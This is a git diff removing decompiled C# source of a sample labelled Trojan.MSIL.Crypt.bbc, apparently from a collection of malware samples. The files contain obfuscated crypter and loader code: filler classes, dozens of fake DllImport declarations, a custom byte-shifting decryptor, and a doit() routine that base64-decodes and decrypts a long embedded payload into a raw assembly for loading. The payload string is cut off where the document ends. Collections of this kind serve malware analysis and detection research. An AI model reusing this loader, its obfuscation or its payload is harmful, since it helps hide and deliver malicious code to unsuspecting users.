Microsoft.VisualBasic.CompilerServices; -using System.Collections; - -[StandardModule] -internal sealed class agawhhwahwwhwh -{ - public static void eleven() - { - ArrayList arrayList = new ArrayList() - { - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dawkodwa", - (object) "dzzz" - }; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/aheehzhdzdhzez.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/aheehzhdzdhzez.cs deleted file mode 100644 index bbbe7175..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/aheehzhdzdhzez.cs +++ /dev/null @@ -1,300 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: aheehzhdzdhzez -// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 035F9F59-E73D-4DD8-BC60-AB1A357F2FCA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections; -using System.Runtime.InteropServices; -using System.Text; - -[StandardModule] -internal sealed class aheehzhdzdhzez -{ - [DllImport("Cry.dll", EntryPoint = "usep32", CharSet = CharSet.Auto, SetLastError = true)] - public static extern char caaPProceL(short window, long name, ArrayList msg, byte[] cbuff); - - [DllImport("Bc.dll", EntryPoint = "Wondows", CharSet = CharSet.Auto, SetLastError = true)] - public static extern string BcicCry(int msg, ArrayList name, int hkey, byte[] xPa); - - [DllImport("LoLer.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern string CryaPzc( - long hkey, - int name, - char crap, - int license, - byte[] path, - StringBuilder number, - string[] Zfinder); - - [DllImport("wc.dll", EntryPoint = "mu", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int aPcaVc( - ArrayList crap, - char name, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string count, - long user, - string[] moIdea); - - [DllImport("mu.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern short LoLerWondowsRegmak( - int count, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string name, - StringBuilder proces, - ArrayList window, - byte[] xPa, - char crap); - - [DllImport("Vc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern int ProceLLoLerKa(char proces, string[] Id); - - [DllImport("Bc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] aPcaWi([MarshalAs(UnmanagedType.VBByRefStr)] ref string Id, string[] name, char hkey); - - [DllImport("Wondows.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int wccaKa( - StringBuilder Zfinder, - byte name, - short number, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string crap, - byte[] xPa, - long window, - ArrayList user); - - [DllImport("Vc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern string ProceLicWi( - string[] number, - short name, - int moIdea, - StringBuilder count, - byte[] path, - ArrayList msg, - byte Zfinder, - int window, - char license); - - [DllImport("oc.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern char CrycaRegmak( - byte moIdea, - int name, - long Tempe, - string[] proces, - byte[] cbuff, - short number); - - [DllImport("Cry.dll", EntryPoint = "ca", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern int VcRegmakwc( - short Tempe, - long name, - ArrayList license, - byte Id, - byte[] xPa, - char crap, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string hkey); - - [DllImport("ic.dll", EntryPoint = "Regmak", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern StringBuilder Wizcca( - int license, - ArrayList name, - int user, - short Zfinder, - byte[] path, - long Tempe); - - [DllImport("ca.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern string aPwcVc( - long user, - int name, - char window, - int number, - byte[] cbuff, - StringBuilder proces, - string[] count); - - [DllImport("Cry.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte caWondowsKa( - ArrayList window, - char name, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string msg, - long moIdea, - byte[] xPa, - int user); - - [DllImport("aP.dll", EntryPoint = "mu", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern string[] aPaPzc( - int msg, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string name, - StringBuilder hkey, - ArrayList Tempe, - byte[] path, - byte Zfinder, - short Id); - - [DllImport("ic.dll", EntryPoint = "ic", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long ProceLVcVc( - char hkey, - StringBuilder name, - string[] crap, - int license, - byte[] cbuff, - short number, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string msg, - byte hwnd); - - [DllImport("oc.dll", EntryPoint = "mu", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern char WondowsProceLusep32([MarshalAs(UnmanagedType.VBByRefStr)] ref string crap, byte count); - - [DllImport("Regmak.dll", EntryPoint = "me", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] aPWondowsRegmak(StringBuilder count, byte name, [MarshalAs(UnmanagedType.VBByRefStr)] ref string window); - - [DllImport("Cry.dll", EntryPoint = "aP", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern StringBuilder icKaca(string[] proces, int Id); - - [DllImport("wc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern ArrayList memuBc( - byte Id, - int name, - long Zfinder, - string[] hkey, - byte[] xPa, - int user, - char license); - - [DllImport("LoLer.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern char aPBcaP(short Zfinder, long name, ArrayList number, byte[] path); - - [DllImport("Bc.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern string[] meVcLoLer( - int number, - ArrayList name, - int moIdea, - short count, - byte[] cbuff, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string msg, - long Zfinder, - char hwnd); - - [DllImport("ic.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern short icWiKa( - long moIdea, - int name, - char Tempe, - int proces, - byte[] xPa, - StringBuilder hkey, - ArrayList number, - string[] msg, - byte user); - - [DllImport("Regmak.dll", EntryPoint = "Bc", CharSet = CharSet.Auto, SetLastError = true)] - public static extern byte[] CrymeRegmak(ArrayList Tempe, char name, long Id); - - [DllImport("Vc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern short ococme( - int license, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string name, - StringBuilder user, - ArrayList Zfinder, - byte[] cbuff, - char Tempe); - - [DllImport("Wi.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern int WiWondowsProceL(char user, string[] window); - - [DllImport("Vc.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long VcCryusep32( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string window, - string[] name, - byte msg, - char moIdea, - byte[] path, - StringBuilder user); - - [DllImport("aP.dll", EntryPoint = "Bc", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern string[] KamuCry( - StringBuilder msg, - byte name, - short hkey, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string Tempe, - long Zfinder); - - [DllImport("ProceL.dll", EntryPoint = "ProceL", CharSet = CharSet.Auto, SetLastError = true)] - public static extern byte[] Bcmuca(string[] hkey, short name, StringBuilder license); - - [DllImport("Vc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern StringBuilder memuwc( - byte crap, - int name, - long count, - string[] user, - byte[] path, - int moIdea, - short hkey, - char number, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string Id); - - [DllImport("Wi.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern string[] CryProceLwc( - short count, - long name, - ArrayList proces, - byte window, - byte[] cbuff, - char Tempe, - int crap, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string moIdea, - StringBuilder Zfinder); - - public static byte[] FQozePvPToCosrVssD( - int nfrvnhrgiGBpeSbrFI, - string enLlUqZhncdDhgsTDc, - byte[] NtzvsIznUumecpgepl) - { - byte[] numArray; - return numArray; - } - - public static byte[] rNsCaePpSfdOSgdUqq( - int GfmuMPBNqzpplvTgcf, - string gpsfZpUSFRfeTAcVBf, - byte[] vATnaamcAmDfsvDtMV) - { - byte[] numArray; - return numArray; - } - - public static byte[] GllMFPlMQSlqzPTdoG( - int EGQCURNnAlLstUACAd, - string MRMgMIZzZEOHLNuGvM, - byte[] MfciqLdMcZAiPALqil) - { - byte[] numArray; - return numArray; - } - - public static byte[] nODNsinqhFTToenMln( - int SmZznDEVcVGvQZGAUq, - string IBGaHNFnLqZmMFqQtG, - byte[] pQLZQfBEaIVovgsOFO) - { - byte[] numArray; - return numArray; - } - - public static byte[] ivAFpnTfUqezpUhUgh( - int iCzVinEetMaAEohRsI, - string HSUsgOtAneEOeLFvqG, - byte[] VmOnSAgUMvQqucvHcu) - { - byte[] numArray; - return numArray; - } - - [STAThread] - public static void Main() => justsomeshit.doit(); - - public static string dwdda(string ÔÖÓ) => Environment.GetEnvironmentVariable(ÔÖÓ); - - public static string fkaOWJfawjfozkLZD(string ÂÄÀ) => Encoding.Unicode.GetString(jdawdiawhiwhfifaw.ÉËÊ(Convert.FromBase64String(ÂÄÀ))); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/dkawod.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/dkawod.cs deleted file mode 100644 index 6b07d9a8..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/dkawod.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: dkawod -// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 035F9F59-E73D-4DD8-BC60-AB1A357F2FCA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6.exe - -using Microsoft.VisualBasic.CompilerServices; -using System.Collections; - -[StandardModule] -internal sealed class dkawod -{ - public static void eleven() - { - ArrayList arrayList = new ArrayList() - { - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dawkodwa", - (object) "dzzz" - }; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/gawhwahawahw.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/gawhwahawahw.cs deleted file mode 100644 index be141692..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/gawhwahawahw.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: gawhwahawahw -// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 035F9F59-E73D-4DD8-BC60-AB1A357F2FCA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6.exe - -using Microsoft.VisualBasic.CompilerServices; -using System.Collections; - -[StandardModule] -internal sealed class gawhwahawahw -{ - public static void eleven() - { - ArrayList arrayList = new ArrayList() - { - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dawkodwa", - (object) "dzzz" - }; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/jdawdiawhiwhfifaw.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/jdawdiawhiwhfifaw.cs deleted file mode 100644 index 8ffb697a..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/jdawdiawhiwhfifaw.cs +++ /dev/null @@ -1,102 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: jdawdiawhiwhfifaw -// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 035F9F59-E73D-4DD8-BC60-AB1A357F2FCA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6.exe - -using Microsoft.VisualBasic.CompilerServices; -using System.Collections; - -[StandardModule] -internal sealed class jdawdiawhiwhfifaw -{ - public static void eleven() - { - ArrayList arrayList = new ArrayList() - { - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa" - }; - } - - public static void baeahhawwahahw() - { - ArrayList arrayList = new ArrayList() - { - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa" - }; - } - - public static byte[] ÉËÊ(byte[] ÌÏÏ) - { - byte[] numArray = new byte[checked (ÌÏÏ.Length - 4 + 1)]; - int num1 = (int) ÌÏÏ[0]; - int num2 = checked (ÌÏÏ.Length - 1); - int index = 3; - while (index <= num2) - { - if (num1 == (int) ÌÏÏ[1] | num1 > (int) ÌÏÏ[1]) - num1 = (int) ÌÏÏ[0]; - int num3 = checked ((int) ÌÏÏ[index] - num1); - if (num3 < 0) - checked { num3 += 256; } - if (num3 > (int) byte.MaxValue) - checked { num3 -= 256; } - numArray[checked (index - 3)] = checked ((byte) num3); - checked { num1 += 1 + (int) ÌÏÏ[2]; } - checked { ++index; } - } - return numArray; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/justsomeshit.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/justsomeshit.cs deleted file mode 100644 index 4e5b682d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/justsomeshit.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: justsomeshit -// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 035F9F59-E73D-4DD8-BC60-AB1A357F2FCA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections; -using System.Reflection; - -[StandardModule] -internal sealed class justsomeshit -{ - public static object doit() - { - byte[] rawAssembly = sakiajfwefjwa.ÈÈÉ(jdawdiawhiwhfifaw.ÉËÊ(Convert.FromBase64String(Conversions.ToString(new ArrayList() - { - (object) "fAkwofwaFAWKaw", - (object) "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